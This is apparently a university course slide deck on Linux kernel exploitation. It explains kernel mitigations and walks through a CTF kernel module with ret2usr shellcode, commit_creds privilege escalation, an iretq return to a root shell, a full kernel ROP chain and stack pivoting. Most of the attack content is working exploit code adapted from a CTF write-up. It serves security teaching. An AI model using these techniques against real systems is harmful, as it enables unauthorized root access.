ENPM809V

Kernel Hacking Part 1

What we will cover

Overview
Introduction to Kernel Shellcoding
Kernel Software Mitigations
Ret2User

Overview

What's so special about kernel hacking?

It's hacking another implementation
- APIs are different in the kernel
- Heap allocators are different
- New attack spaces
- Greater introspection

How powerful is a kernel exploit

It can be pretty powerful!
- Harder to catch successful exploits
- Have more granular control of the system
  - Access to privileged features
- Greater amounts of stealth
With great power comes great responsibility!
- Easier to break the system if something goes wrong
- Can't let the kernel SEGFAULT
  - Can cause the system to crash

So why learn it?

Knowing how userspace software is vulnerable is half of the battle
Gives us greater understanding of how the system works
Understand why the security measures we have are in place

What we will cover?

Introduction to Kernel Stack Based Vulnerabilities
Introduction to Heap-Based Vulnerabilities in the Kernel
Privilege escalation and sandbox esacpes.
The kernel is too big to go over everything

Kernel Shellcoding

Review of Userspace Shellcoding

Userspace shellcode generally (but not all the time) execute the syscalls
- Sometimes we can load other userspace functions and execute them.
This will not work in kernel space!
- We don't do syscalls there.

.global _start
.intel_syntax noprefix
_start:
    // fd = open("/flag", O_RDONLY);
    lea rdi, [rip+flag]
    mov rsi, 0
    mov rax, 2
    syscall

   // bytes_read = read(fd, buf, 100);
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 100
    mov rax, 0
    syscall

    // write(stdout, buf, bytes_flag);
    mov rdi, 1
    mov rsi, rsp
    mov rdx, rax
    mov rax, 1
    syscall

    // exit(42)
    mov rax, 60
    mov rdi, 42
    syscall
flag:
    .ascii "/flag\0"

Review of Userspace Shellcoding

Remember: syscalls are an interface for userspace to talk to kernel space
- We are already in the kernel space when doing kernel shellcoding
When calling syscall, we immediately jump to the syscall_entry function in the kernel
- It assumes that it's being called from userspace! Don't call it from kernel space.

What to do instead?

Act like the kernel! Use kernel API's instead!
- Remember commit_creds(prepare_kernel_creds(0))?
- What about current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)
- What do you think run_cmd("/path/to/command") does?
All of these require access to the current_task, access to the task's respective members, the right kernel API
- Sounds easy right?

What to do instead?

Act like the kernel! Use kernel API's instead!
- Remember commit_creds(prepare_kernel_creds(0))?
- What about current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)
- What do you think run_cmd("/path/to/command") does?
All of these require access to the current_task, access to the task's respective members, the right kernel API
- Sounds easy right?

But how do we get them?

Act like the kernel! Use kernel API's instead!
- Remember commit_creds(prepare_kernel_creds(0))?
- What about current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)
- What do you think run_cmd("/path/to/command") does?
All of these require access to the current_task, access to the task's respective members, the right kernel API
- Sounds easy right?

How can I call the Kernel API?

No KASLR?
- As simple as /proc/kallsysms - gives us the address of every function
- Some systems you might even need root to access /proc/kallsysms
KASLR?
- A little bit more complicated.
- Need to leak a kernel address and calculate the offset (similar to userspace ASLR)

For APIs requiring the current_task

For most kernel modules, we can just read the current task from the gs segment register
- Can't do this in shellcode. Why?
Current is the same as reading from the gs segment register.
- Do this instead in your shellcode
What shellcode might need the current_task structure?
- SECCOMP escape!

Finding Offsets within current_task

Don't do this manually. It is really really challenging.
- You might see some structs have
```
} __randomize_layout;
```
What do you do instead?
- Write a kernel module in C with the actions you want your shellcode to do.
- Build it for the kernel you want to attack (e.g., using the vm build command in pwn.college).
- Reverse-engineer it to see how these actions work in assembly.
- Re-implement that assembly in your shellcode!

When you're done...

Don't let the code segfault!
- Userspace this is okay, but with kernel, bad things can happen.
  - Much more serious repercussions
- Make sure to cleanup properly and return.
Example: If you hijacked a function pointer, act like a function and clean up!

Tips for Debugging...

To debug the userspace component:
- Just attach GDB to it. On pwn.college, do this within the VM (vm connect)
- You won't know what is happening in the kernel
To debug the kernel component:
- Attach to kgdb or on pwn.college, execute vm debug.
  - What this does is attach to QEMU itself.
- Harder to debug userspace component
- Only way to debug kernel component itself.
  - On pwn.college, might want to step through the syscall instruction itself.

Kernel Mitigations

Review of Userspace Mitigations

Software Mitigations
- ASLR
- PIC/PIE
- RELRO
- Canaries
- And more...

KASLR

Kernel Address Space Layout Randomization
- Enabled at system boot time
- Randomizes the base address every time the system is booted
- This can be modified via a configuration

FG-KASLR

Fine-Grained KASLR
- Enabled at system boot time
- Randomizes the .text section in finer granularity.
  - Per Function basis.
  - Adjusting based off of offsets isn't enough anymore
- Still imperfect

Kernel Stack Cannaries

Exactly the same as userspace stack canaries
Enabled at compilation time, can't be turned off afterwards

Supervisor Mode Execution Protection

Prevents execution of code in userspace in the kernel
- Enabled by the 20th bit in the CR4 (Control) Register
When enabled, invalidates pages that are known to be in userspace to prevent execution
- There is a bit in the page's metadata where it indicates 1=user and 0=supervisor/kernel
When this is enabled, executing shellcode from userspace is significantly more difficult.

Supervisor Mode Access Protection

Prevents the kernel from accessing userspace pages
- Enabled by the 21st bit in the CR4 (Control) Register
- This is part of the reason why we have copy_to_user and copy_from_user
Kernel cannot read or write to userspace pages as well.
This prevents things like storing ROPs in userspace that will be executed in the kernel

Kernel Page Table Isolation

When enabled, completely separates kernel page tables from user page tables
- Kernel has both userspace and kernel space pages in its page table
- Userspace doesn't have any kernel pages in its page table.

Randomized Offsets

Randomizes offsets of certain structures per compilation
- Prevents easily reproducible shellcode for kernel exploits
  - E.g. accessing mmap is always at a different offset; thus, must modify shellcode to understand this.
- Prevents exploits from being widespread.

ret2usr

What is ret2usr

Ret2usr is essentially the ret2shellcode for kernel space!
We have a buffer overflow in the kernel, and we do not have SMEP and SMAP enabled.
- We store kernel shellcode somewhere in the userspace part of the process
- That shellcode is going to give us one of the following:
  - Privilege escalation
  - Escape some sort of sandbox
  - Both? Something else?

What are the caveats?

We might have KASLR and Stack Canaries!
We need to return to the userspace part of the process somehow
- We can't just create a shell/get the flag necessarily
- Need to jump back to userspace to do this
Need to ensure that we cleanup properly as well! Might help with the previous step.

Lets say we are our goal is to get a root shell via a vulnerable kernel character device

How can we might tell?

//From hxpCTF 2020

ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{   
    //...
    int tmp[32];
    //...
    if ( _size > 0x1000 )
    {
        _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
        BUG();
    }
    _check_object_size(hackme_buf, _size, 0LL);
    if ( copy_from_user(hackme_buf, data, v5) )
        return -14LL;
    _memcpy(tmp, hackme_buf);
    //...
}

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{   
    //...
    int tmp[32];
    //...
    _memcpy(hackme_buf, tmp);
    if ( _size > 0x1000 )
    {
        _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
        BUG();
    }
    _check_object_size(hackme_buf, _size, 1LL);
    v6 = copy_to_user(data, hackme_buf, _size) == 0;
    //...
}

What if we have some mitigations?

Stack Canaries
- The character device lets us do arbitrary reads. This makes it a bit easier for us.
KASLR
- We will need to find the address to the kernel function that we want.
- Since we only care about one version of the Linux kernel, we will build our own kernel module and get the address that way
  - We will print out the reference to the function that we want
If KASLR is disabled, we can just get the address from /proc/kallsyms

Getting an Address We Want

// Assume this is part of a Linux Kernel Module

void leak_func()
{
	void *someFunc = NULL;
    someFunc = (void *)&prepare_kernel_cred;
    printk(KERN_ALERT "prepare_kernel_cred = %p", someFunc);
    
    someFunc = (void *)&commit_creds;
    printk(KERN_ALERT "commit_creds = %p", someFunc); 
}

Kernel Privilege Escalation Example

movabs rax, <addr_to_prepare_kernel_cred>; //This will look something like 0xffffffff814c67f0
xor rdi, rdi; //Why do we want to do this
call rax; 
mov rdi, rax; 
movabs rax, <addr_to_commit_creds>;
call rax;

Keep in mind that this only makes the process root!

Returning to Userland

What we have before only makes our process root, but not necessarily giving us a root shell
We need to utilize either sysretq or iretq to return to userland
- sysretq is a little more complicated than iretq
- iretq requires 5 userland registers setup: RIP, CS, RFLAGS, SP, and SS
We want to make sure that RIP points to the function in usermode that brings up a shell.
What are the steps?

Step 1: Save Usermode State

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

/* If you want to do this in pwntools, you need to save it somewhere that's not a variable */

Step 2: Create our Root Shell

void get_shell(void)
{
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }

}

What are the necessary steps?

Have your userspace component ready! (shell, etc.)
Save userspace state
Connect to kernel space somehow (character device, proc device, etc).
If necessary, leak the stack canary
Perform your kernel exploit
- If successful, you will then have a root shell!

Sources: https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/#the-simplest-exploit---ret2usr

Step 3: Exploit!

unsigned long user_rip = (unsigned long)get_shell;

void escalate_privs(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
        "xor rdi, rdi;" //Setting prepare_kernel_cred param to 0
	    "call rax;" 
        "mov rdi, rax;" //Store the return value as the first parameter for commit_cred
	    "movabs rax, 0xffffffff814c6410;" //commit_creds
	    "call rax;"
        "swapgs;"
        "mov r15, user_ss;" //Now we are resetting user state. 
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}

Kernel ROP

Why Kernel ROP

Remember how we talked about SMEP?
- This is basically kernel version of NX.
We can't just execute shellcode that is from userspace
We will need to find gadgets within the kernel to achieve what we are looking for.
We will loosly go over SMAP and KPTI

Building the ROP Chain

This will be the same as kernel shellcode
- ROP into prepare_kernel_creds(0)
- Set the return value as the first parameter via a gadget
- ROP into commit_creds
- ROP into swapgs; ret
- Setup RIP/CS/RFLAGS/SP/SS registers
- ROP into iretq

What tools can we use to find the gadgets?

ROPGadget!
- We can do this on the kernel module or other parts of kernel code that the module has access to
Something different about userspace:
- We might have to do some trial and error - some gadgets may be present but won't work due to the memory.

What this looks like in the end

// Source: https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;

void overflow(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rdi_ret; // return address
    payload[off++] = 0x0; // rdi <- 0
    payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    payload[off++] = pop_rdx_ret;
    payload[off++] = 0x8; // rdx <- 8
    payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
    payload[off++] = 0x0; // dummy rbx
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
    payload[off++] = 0x0; // dummy rbx
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
    payload[off++] = swapgs_pop1_ret; // swapgs
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = iretq; // iretq frame
    payload[off++] = user_rip;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}

Stack Pivoting

Sometimes the kernel stack is not big enough to hold our ROP chain.
We can pivot over to the userland portion of the stack to be able to hold the ROP Chain
This is a user controlled portion of memory, and modifying the RSP register to make it think it's still in kernel space.

mov esp, <addr>; 
//some additional instructions potentially
ret;

What this looks like?

void build_fake_stack(void){
    fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, 
    	PROT_READ|PROT_WRITE|PROT_EXEC, 
        MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
    unsigned off = 0x1000 / 8;
    fake_stack[0] = 0xdead; // put something in the first page to prevent fault
    fake_stack[off++] = 0x0; // dummy r12
    fake_stack[off++] = 0x0; // dummy rbp
    fake_stack[off++] = pop_rdi_ret;
    ... // the rest of the chain is the same as the last payload
}

// Source - https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/

References

https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/#the-simplest-exploit---ret2usr
https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/

Kernel Hacking Part 1

By Ragnar Security

ENPM809V

What we will cover

Overview

What's so special about kernel hacking?

How powerful is a kernel exploit

So why learn it?

What we will cover?

Kernel Shellcoding

Review of Userspace Shellcoding

Review of Userspace Shellcoding

What to do instead?

What to do instead?

But how do we get them?

How can I call the Kernel API?

For APIs requiring the current_task

Finding Offsets within current_task

When you're done...

Tips for Debugging...

Kernel Mitigations

Review of Userspace Mitigations

KASLR

FG-KASLR

Kernel Stack Cannaries

Supervisor Mode Execution Protection

Supervisor Mode Access Protection

Kernel Page Table Isolation

Randomized Offsets

ret2usr

What is ret2usr

What are the caveats?

Lets say we are our goal is to get a root shell via a vulnerable kernel character device

How can we might tell?

What if we have some mitigations?

Getting an Address We Want

Kernel Privilege Escalation Example

Returning to Userland

Step 1: Save Usermode State

Step 2: Create our Root Shell

What are the necessary steps?

Step 3: Exploit!

Kernel ROP

Why Kernel ROP

Building the ROP Chain

What tools can we use to find the gadgets?

What this looks like in the end

Stack Pivoting

What this looks like?

References

Kernel Hacking Part 1

More from Ragnar Security